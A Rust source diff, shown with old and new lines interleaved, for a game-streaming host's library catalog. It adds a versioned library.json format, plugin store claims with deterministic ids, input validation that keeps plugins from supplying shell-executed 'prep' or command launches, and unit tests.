/// The map — not the entries — is the authority for a claim, which is exactly why it survives an
|
||||
/// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and
|
||||
/// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit
|
||||
/// (`DELETE /library/provider/{p}`, or the plugin claiming a different store).
|
||||
#[serde(default)]
|
||||
pub claims: BTreeMap<String, String>,
|
||||
}
|
||||
|
||||
/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`]
|
||||
/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the
|
||||
/// first mutation after an upgrade migrates the file in place with no separate migration step.
|
||||
#[derive(Deserialize)]
|
||||
#[serde(untagged)]
|
||||
enum LibraryFile {
|
||||
V2(Catalog),
|
||||
Legacy(Vec<CustomEntry>),
|
||||
}
|
||||
|
||||
/// Load the whole catalog (default + non-fatal if the file is absent or malformed).
|
||||
pub fn load_catalog() -> Catalog {
|
||||
match std::fs::read_to_string(custom_path()) {
|
||||
Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| {
|
||||
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
|
||||
Vec::new()
|
||||
}),
|
||||
Err(_) => Vec::new(),
|
||||
Ok(raw) => match serde_json::from_str::<LibraryFile>(&raw) {
|
||||
Ok(LibraryFile::V2(c)) => c,
|
||||
Ok(LibraryFile::Legacy(entries)) => Catalog {
|
||||
entries,
|
||||
claims: BTreeMap::new(),
|
||||
},
|
||||
Err(e) => {
|
||||
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
|
||||
Catalog::default()
|
||||
}
|
||||
},
|
||||
Err(_) => Catalog::default(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam
|
||||
/// branch of the art proxy (`GET /library/art/custom:<id>/<kind>`). `id` is the bare custom id (the
|
||||
/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of
|
||||
/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches
|
||||
/// itself). Blocking IO — call off the async runtime.
|
||||
pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
|
||||
let entry = load_custom().into_iter().find(|e| e.id == id)?;
|
||||
let field = match kind {
|
||||
ArtKind::Portrait => entry.art.portrait,
|
||||
ArtKind::Hero => entry.art.hero,
|
||||
ArtKind::Logo => entry.art.logo,
|
||||
ArtKind::Header => entry.art.header,
|
||||
}?;
|
||||
/// Load just the entries — the read path every library surface uses.
|
||||
pub fn load_custom() -> Vec<CustomEntry> {
|
||||
load_catalog().entries
|
||||
}
|
||||
|
||||
/// The active store claims (`store → provider`). Read per library scan to suppress the built-in
|
||||
/// scanner a plugin has taken over (D2).
|
||||
pub fn claimed_stores() -> BTreeMap<String, String> {
|
||||
load_catalog().claims
|
||||
}
|
||||
|
||||
/// The library id a stored entry surfaces as. **The single source of truth for the mapping** —
|
||||
/// [`From<CustomEntry> for GameEntry`] and every id→entry lookup go through it, so the id scheme
|
||||
/// can't drift between the catalog, the art proxy and the launch resolver.
|
||||
///
|
||||
/// A **claimed** entry (D2) gets the deterministic `<store>:<external_id>` its built-in scanner used
|
||||
/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids,
|
||||
/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the
|
||||
/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed
|
||||
/// entry keeps the opaque host-assigned `custom:<id>`.
|
||||
pub(crate) fn library_id_for(e: &CustomEntry) -> String {
|
||||
match (e.store.as_deref(), e.external_id.as_deref()) {
|
||||
(Some(store), Some(external)) => format!("{store}:{external}"),
|
||||
_ => format!("custom:{}", e.id),
|
||||
}
|
||||
}
|
||||
|
||||
/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its
|
||||
/// provider id. `None` for a manual entry — the custom store is not a source and can never be
|
||||
/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same
|
||||
/// string by construction, a user's existing disabled state carries over verbatim.
|
||||
pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> {
|
||||
e.store.as_deref().or(e.provider.as_deref())
|
||||
}
|
||||
|
||||
/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this
|
||||
/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's
|
||||
/// entries be served regardless of what their ids look like.
|
||||
pub fn entry_for_library_id(library_id: &str) -> Option<CustomEntry> {
|
||||
load_custom()
|
||||
.into_iter()
|
||||
.find(|e| library_id_for(e) == library_id)
|
||||
}
|
||||
|
||||
/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the
|
||||
/// art proxy (`GET /library/art/<library id>/<kind>`). `None` if the id names no stored entry, it has
|
||||
/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client
|
||||
/// fetches itself). Blocking IO — call off the async runtime.
|
||||
pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
|
||||
let field = art_field(&entry_for_library_id(library_id)?.art, kind)?;
|
||||
is_local_art_path(&field)
|
||||
.then(|| local_art_bytes(&field))
|
||||
.flatten()
|
||||
}
|
||||
|
||||
fn save_custom(entries: &[CustomEntry]) -> Result<()> {
|
||||
/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share.
|
||||
pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option<String> {
|
||||
match kind {
|
||||
ArtKind::Portrait => art.portrait.clone(),
|
||||
ArtKind::Hero => art.hero.clone(),
|
||||
ArtKind::Logo => art.logo.clone(),
|
||||
ArtKind::Header => art.header.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation
|
||||
/// path funnels through here, so a v1 file is upgraded by the first write.
|
||||
fn save_catalog(catalog: &Catalog) -> Result<()> {
|
||||
let dir = pf_paths::config_dir();
|
||||
// Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a
|
||||
// library.json whose `prep`/`launch` commands the host would later execute — the same trust
|
||||
// boundary hooks.json and the mgmt token already use.
|
||||
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
let json = serde_json::to_string_pretty(entries)?;
|
||||
let json = serde_json::to_string_pretty(catalog)?;
|
||||
// Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives
|
||||
// the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them
|
||||
// to the final path.
|
||||
@@ -177,19 +280,26 @@ fn new_id(title: &str) -> String {
|
||||
hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6])
|
||||
}
|
||||
|
||||
/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists,
|
||||
/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404).
|
||||
/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt
|
||||
/// layer maps to 409 rather than 404.
|
||||
pub enum MutateOutcome<T> {
|
||||
Done(T),
|
||||
NotFound,
|
||||
/// The entry belongs to this provider — mutate it through the provider reconcile API
|
||||
/// (or remove the whole provider set); manual edits would be clobbered at the next sync.
|
||||
ProviderOwned(String),
|
||||
/// The requested store claim is already held by a DIFFERENT provider (D2: one provider per
|
||||
/// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry
|
||||
/// ids, so the second claimant is told who holds it instead of silently taking over.
|
||||
StoreClaimed {
|
||||
store: String,
|
||||
provider: String,
|
||||
},
|
||||
}
|
||||
|
||||
/// Create a custom (manual) entry, returning it with its assigned id.
|
||||
pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
|
||||
let mut entries = load_custom();
|
||||
let mut catalog = load_catalog();
|
||||
let entry = CustomEntry {
|
||||
id: new_id(&input.title),
|
||||
title: input.title,
|
||||
@@ -198,11 +308,13 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
|
||||
prep: input.prep,
|
||||
provider: None,
|
||||
external_id: None,
|
||||
store: None,
|
||||
role: input.role,
|
||||
detect: input.detect,
|
||||
meta: input.meta,
|
||||
};
|
||||
entries.push(entry.clone());
|
||||
save_custom(&entries)?;
|
||||
catalog.entries.push(entry.clone());
|
||||
save_catalog(&catalog)?;
|
||||
emit_changed("manual");
|
||||
Ok(entry)
|
||||
}
|
||||
@@ -210,8 +322,8 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
|
||||
/// Replace a manual entry's fields (id preserved). Provider-owned entries are refused —
|
||||
/// their state belongs to the provider's reconcile (RFC §8 ownership rule).
|
||||
pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<CustomEntry>> {
|
||||
let mut entries = load_custom();
|
||||
let Some(slot) = entries.iter_mut().find(|e| e.id == id) else {
|
||||
let mut catalog = load_catalog();
|
||||
let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else {
|
||||
return Ok(MutateOutcome::NotFound);
|
||||
};
|
||||
if let Some(provider) = &slot.provider {
|
||||
@@ -221,31 +333,61 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<Custo
|
||||
slot.art = input.art;
|
||||
slot.launch = input.launch;
|
||||
slot.prep = input.prep;
|
||||
slot.role = input.role;
|
||||
slot.detect = input.detect;
|
||||
slot.meta = input.meta;
|
||||
let updated = slot.clone();
|
||||
save_custom(&entries)?;
|
||||
save_catalog(&catalog)?;
|
||||
emit_changed("manual");
|
||||
Ok(MutateOutcome::Done(updated))
|
||||
}
|
||||
|
||||
/// Delete a manual entry. Provider-owned entries are refused (see [`update_custom`]).
|
||||
pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
|
||||
let mut entries = load_custom();
|
||||
let Some(entry) = entries.iter().find(|e| e.id == id) else {
|
||||
let mut catalog = load_catalog();
|
||||
let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else {
|
||||
return Ok(MutateOutcome::NotFound);
|
||||
};
|
||||
if let Some(provider) = &entry.provider {
|
||||
return Ok(MutateOutcome::ProviderOwned(provider.clone()));
|
||||
}
|
||||
entries.retain(|e| e.id != id);
|
||||
save_custom(&entries)?;
|
||||
catalog.entries.retain(|e| e.id != id);
|
||||
save_catalog(&catalog)?;
|
||||
emit_changed("manual");
|
||||
Ok(MutateOutcome::Done(()))
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ providers (RFC §8)
|
||||
|
||||
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
|
||||
/// fields whose contents the host later executes as the host user.
|
||||
///
|
||||
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
|
||||
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
|
||||
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
|
||||
/// human typed the command into the admin console. Any lane that is not the operator's own token
|
||||
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
|
||||
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
|
||||
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
|
||||
///
|
||||
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
|
||||
/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`,
|
||||
/// `lutris_id`, `heroic`) are all
|
||||
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
|
||||
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
|
||||
pub fn privileged_field(
|
||||
launch: Option<&LaunchSpec>,
|
||||
prep: &[crate::hooks::PrepCmd],
|
||||
) -> Option<&'static str> {
|
||||
if !prep.is_empty() {
|
||||
return Some("prep");
|
||||
}
|
||||
if launch.is_some_and(|l| l.kind == "command") {
|
||||
return Some("launch.kind = \"command\"");
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Provider ids are path segments, event sources, and console labels: keep them tame.
|
||||
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
|
||||
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
|
||||
@@ -265,6 +407,26 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Store claims become the **prefix of every claimed entry's library id**, so they are far more
|
||||
/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store
|
||||
/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is
|
||||
/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`.
|
||||
pub fn validate_store_claim(store: &str) -> Result<(), String> {
|
||||
if store == "custom" || store == "manual" {
|
||||
return Err(format!("store id `{store}` is reserved"));
|
||||
}
|
||||
let ok = !store.is_empty()
|
||||
&& store.len() <= 32
|
||||
&& store
|
||||
.bytes()
|
||||
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_'));
|
||||
if ok {
|
||||
Ok(())
|
||||
} else {
|
||||
Err("store id must be 1–32 chars of [a-z0-9_-]".into())
|
||||
}
|
||||
}
|
||||
|
||||
/// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the
|
||||
/// diff key — a duplicate would make ownership of the surviving entry ambiguous).
|
||||
pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> {
|
||||
@@ -282,6 +444,40 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
|
||||
e.external_id
|
||||
));
|
||||
}
|
||||
// Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a
|
||||
// plugin gets a 400 it can act on rather than a tile that silently refuses to start.
|
||||
if let Some(launch) = &e.launch {
|
||||
if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) {
|
||||
return Err(format!(
|
||||
"entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`"
|
||||
));
|
||||
}
|
||||
// Refused rather than silently accepted, because the failure is otherwise invisible
|
||||
// until a user clicks the tile: an unresolvable value yields no command at launch time.
|
||||
if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) {
|
||||
return Err(format!(
|
||||
"entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \
|
||||
cannot open (`{}`)",
|
||||
launch.value
|
||||
));
|
||||
}
|
||||
}
|
||||
if let Some(marker) = &e.detect.env_marker {
|
||||
if !valid_env_key(&marker.key) {
|
||||
return Err(format!(
|
||||
"entries[{i}]: `detect.env_marker.key` must be 1–64 chars of [A-Za-z0-9_]"
|
||||
));
|
||||
}
|
||||
if marker
|
||||
.value
|
||||
.as_ref()
|
||||
.is_some_and(|v| v.len() > MAX_ENV_VALUE)
|
||||
{
|
||||
return Err(format!(
|
||||
"entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars"
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -293,6 +489,7 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
|
||||
fn reconcile_entries(
|
||||
entries: &mut Vec<CustomEntry>,
|
||||
provider: &str,
|
||||
store: Option<&str>,
|
||||
inputs: Vec<ProviderEntryInput>,
|
||||
) -> Vec<CustomEntry> {
|
||||
// The provider's current entries, keyed by its own stable id.
|
||||
@@ -317,6 +514,10 @@ fn reconcile_entries(
|
||||
prep: input.prep,
|
||||
provider: Some(provider.to_string()),
|
||||
external_id: Some(input.external_id),
|
||||
// Stamping the claim per entry is what makes the surfaced id deterministic
|
||||
// (`<store>:<external_id>`) — see `library_id_for`.
|
||||
store: store.map(str::to_string),
|
||||
role: input.role,
|
||||
detect: input.detect,
|
||||
meta: input.meta,
|
||||
});
|
||||
@@ -326,43 +527,86 @@ fn reconcile_entries(
|
||||
result
|
||||
}
|
||||
|
||||
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`).
|
||||
/// The caller validates the name and payload first. Emits `library.changed` with the provider
|
||||
/// as the source.
|
||||
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally
|
||||
/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first.
|
||||
/// Emits `library.changed` with the provider as the source.
|
||||
///
|
||||
/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one
|
||||
/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would
|
||||
/// go on suppressing a built-in scanner with nothing to replace it.
|
||||
pub fn reconcile_provider(
|
||||
provider: &str,
|
||||
store: Option<&str>,
|
||||
inputs: Vec<ProviderEntryInput>,
|
||||
) -> Result<Vec<CustomEntry>> {
|
||||
let mut entries = load_custom();
|
||||
let result = reconcile_entries(&mut entries, provider, inputs);
|
||||
save_custom(&entries)?;
|
||||
) -> Result<MutateOutcome<Vec<CustomEntry>>> {
|
||||
let mut catalog = load_catalog();
|
||||
if let Some(store) = store {
|
||||
if let Some(holder) = catalog.claims.get(store) {
|
||||
if holder != provider {
|
||||
return Ok(MutateOutcome::StoreClaimed {
|
||||
store: store.to_string(),
|
||||
provider: holder.clone(),
|
||||
});
|
||||
}
|
||||
}
|
||||
let previous: Vec<String> = catalog
|
||||
.claims
|
||||
.iter()
|
||||
.filter(|(s, p)| p.as_str() == provider && s.as_str() != store)
|
||||
.map(|(s, _)| s.clone())
|
||||
.collect();
|
||||
for stale in previous {
|
||||
tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim");
|
||||
catalog.claims.remove(&stale);
|
||||
}
|
||||
if catalog
|
||||
.claims
|
||||
.insert(store.to_string(), provider.to_string())
|
||||
.is_none()
|
||||
{
|
||||
tracing::info!(provider, store, "library: store claimed by a provider");
|
||||
}
|
||||
}
|
||||
let result = reconcile_entries(&mut catalog.entries, provider, store, inputs);
|
||||
save_catalog(&catalog)?;
|
||||
emit_changed(provider);
|
||||
Ok(result)
|
||||
Ok(MutateOutcome::Done(result))
|
||||
}
|
||||
|
||||
/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the
|
||||
/// clean-uninstall path). Returns how many were removed; no event when nothing was.
|
||||
/// Remove every entry of `provider` **and release its store claim** (RFC §8:
|
||||
/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were
|
||||
/// removed; no event when nothing changed at all.
|
||||
///
|
||||
/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in
|
||||
/// scanner straight back, with no restart and nothing to undo by hand.
|
||||
pub fn delete_provider(provider: &str) -> Result<usize> {
|
||||
let mut entries = load_custom();
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.provider.as_deref() != Some(provider));
|
||||
let removed = before - entries.len();
|
||||
if removed > 0 {
|
||||
save_custom(&entries)?;
|
||||
let mut catalog = load_catalog();
|
||||
let before = catalog.entries.len();
|
||||
catalog
|
||||
.entries
|
||||
.retain(|e| e.provider.as_deref() != Some(provider));
|
||||
let removed = before - catalog.entries.len();
|
||||
let claims_before = catalog.claims.len();
|
||||
catalog.claims.retain(|_, p| p != provider);
|
||||
let released = claims_before - catalog.claims.len();
|
||||
if removed > 0 || released > 0 {
|
||||
if released > 0 {
|
||||
tracing::info!(provider, released, "library: store claim released");
|
||||
}
|
||||
save_catalog(&catalog)?;
|
||||
emit_changed(provider);
|
||||
}
|
||||
Ok(removed)
|
||||
}
|
||||
|
||||
/// The prep/undo steps for a library id — `custom:<id>` entries only (the other stores have no
|
||||
/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no
|
||||
/// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead).
|
||||
///
|
||||
/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a
|
||||
/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and
|
||||
/// per-title prep is exactly the kind of thing an operator sets on a game they play.
|
||||
pub fn prep_for(library_id: &str) -> Vec<crate::hooks::PrepCmd> {
|
||||
let Some(id) = library_id.strip_prefix("custom:") else {
|
||||
return Vec::new();
|
||||
};
|
||||
load_custom()
|
||||
.into_iter()
|
||||
.find(|e| e.id == id)
|
||||
entry_for_library_id(library_id)
|
||||
.map(|e| e.prep)
|
||||
.unwrap_or_default()
|
||||
}
|
||||
@@ -375,13 +619,7 @@ fn emit_changed(source: &str) {
|
||||
});
|
||||
}
|
||||
|
||||
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
|
||||
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
|
||||
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
|
||||
/// ([`windows_launch_for`]).
|
||||
pub(crate) fn valid_steam_appid(value: &str) -> bool {
|
||||
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
|
||||
}
|
||||
// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry.
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
@@ -396,6 +634,8 @@ mod tests {
|
||||
prep: Vec::new(),
|
||||
provider: None,
|
||||
external_id: None,
|
||||
store: None,
|
||||
role: GameRole::Game,
|
||||
detect: DetectHint::default(),
|
||||
meta: GameMeta::default(),
|
||||
}
|
||||
@@ -408,6 +648,7 @@ mod tests {
|
||||
art: Artwork::default(),
|
||||
launch: None,
|
||||
prep: Vec::new(),
|
||||
role: GameRole::Game,
|
||||
detect: DetectHint::default(),
|
||||
meta: GameMeta::default(),
|
||||
}
|
||||
@@ -429,6 +670,79 @@ mod tests {
|
||||
assert_eq!(g.meta.platform.as_deref(), Some("PS2"));
|
||||
}
|
||||
|
||||
/// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner
|
||||
/// produced. Same id, same store badge — plus the provider attribution the scanner never had.
|
||||
#[test]
|
||||
fn a_claimed_entry_reproduces_the_scanner_identity() {
|
||||
let mut e = manual("host-assigned", "Portal 2");
|
||||
e.provider = Some("steam".into());
|
||||
e.external_id = Some("620".into());
|
||||
e.store = Some("steam".into());
|
||||
assert_eq!(library_id_for(&e), "steam:620");
|
||||
let g: GameEntry = e.clone().into();
|
||||
assert_eq!(g.id, "steam:620", "exactly what the scanner emitted");
|
||||
assert_eq!(g.store, "steam", "the store badge, not `custom`");
|
||||
assert_eq!(
|
||||
g.provider.as_deref(),
|
||||
Some("steam"),
|
||||
"attribution rides along too"
|
||||
);
|
||||
|
||||
// Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the
|
||||
// opaque host id they have always had.
|
||||
let mut u = manual("abc", "Chrono Trigger");
|
||||
u.provider = Some("romm".into());
|
||||
u.external_id = Some("rom-1".into());
|
||||
assert_eq!(library_id_for(&u), "custom:abc");
|
||||
assert_eq!(GameEntry::from(u).store, "custom");
|
||||
|
||||
// The source a toggle addresses: the claimed store when there is one, else the provider.
|
||||
assert_eq!(source_id_for(&e), Some("steam"));
|
||||
let mut r = manual("z", "T");
|
||||
r.provider = Some("romm".into());
|
||||
assert_eq!(source_id_for(&r), Some("romm"));
|
||||
assert_eq!(
|
||||
source_id_for(&manual("m", "Manual")),
|
||||
None,
|
||||
"never hideable"
|
||||
);
|
||||
}
|
||||
|
||||
/// A claimed entry keeps its `<store>:<external_id>` id across reconciles no matter what the
|
||||
/// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches
|
||||
/// and Moonlight pins valid through the migration (the whole point of D2).
|
||||
#[test]
|
||||
fn claimed_ids_are_deterministic_across_reconciles() {
|
||||
let mut entries = Vec::new();
|
||||
let r1 = reconcile_entries(
|
||||
&mut entries,
|
||||
"steam",
|
||||
Some("steam"),
|
||||
vec![input("440", "Team Fortress 2"), input("620", "Portal 2")],
|
||||
);
|
||||
let ids: Vec<String> = r1.iter().map(library_id_for).collect();
|
||||
assert_eq!(ids, ["steam:440", "steam:620"]);
|
||||
|
||||
// Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are
|
||||
// byte-identical, and a brand-new title's id is derived, not random.
|
||||
let r2 = reconcile_entries(
|
||||
&mut entries,
|
||||
"steam",
|
||||
Some("steam"),
|
||||
vec![
|
||||
input("440", "Team Fortress 2 (2026)"),
|
||||
input("70", "Half-Life"),
|
||||
],
|
||||
);
|
||||
let ids2: Vec<String> = r2.iter().map(library_id_for).collect();
|
||||
assert_eq!(ids2, ["steam:440", "steam:70"]);
|
||||
|
||||
// Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries
|
||||
// are the same rows, so this is exactly the "plugin stopped claiming" degradation.
|
||||
let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]);
|
||||
assert!(library_id_for(&r3[0]).starts_with("custom:"));
|
||||
}
|
||||
|
||||
/// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting —
|
||||
/// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a
|
||||
/// pre-metadata `library.json` / payload still parses (all-optional).
|
||||
@@ -477,6 +791,7 @@ mod tests {
|
||||
let r1 = reconcile_entries(
|
||||
&mut entries,
|
||||
"romm",
|
||||
None,
|
||||
vec![input("rom-a", "Game A"), input("rom-b", "Game B")],
|
||||
);
|
||||
assert_eq!(r1.len(), 2);
|
||||
@@ -488,6 +803,7 @@ mod tests {
|
||||
let r2 = reconcile_entries(
|
||||
&mut entries,
|
||||
"romm",
|
||||
None,
|
||||
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
|
||||
);
|
||||
assert_eq!(r2.len(), 2);
|
||||
@@ -506,6 +822,7 @@ mod tests {
|
||||
let r3 = reconcile_entries(
|
||||
&mut entries,
|
||||
"romm",
|
||||
None,
|
||||
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
|
||||
);
|
||||
assert_eq!(
|
||||
@@ -526,7 +843,7 @@ mod tests {
|
||||
.any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch")));
|
||||
|
||||
// Empty payload = remove everything the provider owns (same as DELETE).
|
||||
let r4 = reconcile_entries(&mut entries, "romm", Vec::new());
|
||||
let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new());
|
||||
assert!(r4.is_empty());
|
||||
assert_eq!(
|
||||
entries.len(),
|
||||
@@ -535,6 +852,127 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round
|
||||
/// trip. This is the only migration in the whole program — get it wrong and an existing host
|
||||
/// silently loses its manual entries on upgrade.
|
||||
#[test]
|
||||
fn v1_and_v2_library_files_both_load() {
|
||||
// v1: exactly what a shipped host has on disk today.
|
||||
let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#;
|
||||
let c = match serde_json::from_str::<LibraryFile>(v1).unwrap() {
|
||||
LibraryFile::Legacy(entries) => Catalog {
|
||||
entries,
|
||||
claims: BTreeMap::new(),
|
||||
},
|
||||
LibraryFile::V2(_) => panic!("an array must not parse as v2"),
|
||||
};
|
||||
assert_eq!(c.entries.len(), 1);
|
||||
assert_eq!(c.entries[0].title, "Old Manual");
|
||||
assert!(c.claims.is_empty());
|
||||
|
||||
// v2, including a claim.
|
||||
let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#;
|
||||
let c = match serde_json::from_str::<LibraryFile>(v2).unwrap() {
|
||||
LibraryFile::V2(c) => c,
|
||||
LibraryFile::Legacy(_) => panic!("an object must not parse as v1"),
|
||||
};
|
||||
assert_eq!(c.entries.len(), 1);
|
||||
assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam"));
|
||||
|
||||
// A v2 file with no claims key at all (what the first write after upgrade produces before
|
||||
// anything is claimed) still loads.
|
||||
let bare = r#"{"entries":[]}"#;
|
||||
assert!(matches!(
|
||||
serde_json::from_str::<LibraryFile>(bare).unwrap(),
|
||||
LibraryFile::V2(_)
|
||||
));
|
||||
|
||||
// And what we WRITE is v2, so one mutation upgrades the file in place.
|
||||
let written = serde_json::to_string(&Catalog::default()).unwrap();
|
||||
assert!(written.contains("\"entries\""));
|
||||
assert!(written.contains("\"claims\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn store_claim_validation() {
|
||||
assert!(validate_store_claim("steam").is_ok());
|
||||
assert!(validate_store_claim("epic-games").is_ok());
|
||||
assert!(validate_store_claim("xbox_pc").is_ok());
|
||||
// The two host-owned namespaces are off-limits.
|
||||
assert!(validate_store_claim("custom").is_err());
|
||||
assert!(validate_store_claim("manual").is_err());
|
||||
assert!(validate_store_claim("").is_err());
|
||||
assert!(validate_store_claim("Steam").is_err()); // no uppercase
|
||||
// A dot would read as a hostname in a log line and muddies the `store:id` split.
|
||||
assert!(validate_store_claim("my.store").is_err());
|
||||
assert!(validate_store_claim(&"s".repeat(33)).is_err());
|
||||
}
|
||||
|
||||
/// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a
|
||||
/// tile that silently refuses to launch.
|
||||
#[test]
|
||||
fn payload_validation_covers_the_new_closed_vocabularies() {
|
||||
let with_launch = |kind: &str, value: &str| {
|
||||
let mut i = input("a", "A");
|
||||
i.launch = Some(LaunchSpec {
|
||||
kind: kind.into(),
|
||||
value: value.into(),
|
||||
});
|
||||
i
|
||||
};
|
||||
assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok());
|
||||
assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok());
|
||||
assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err());
|
||||
assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err());
|
||||
// Other kinds are unconstrained here (the host validates them per-kind at launch).
|
||||
assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok());
|
||||
|
||||
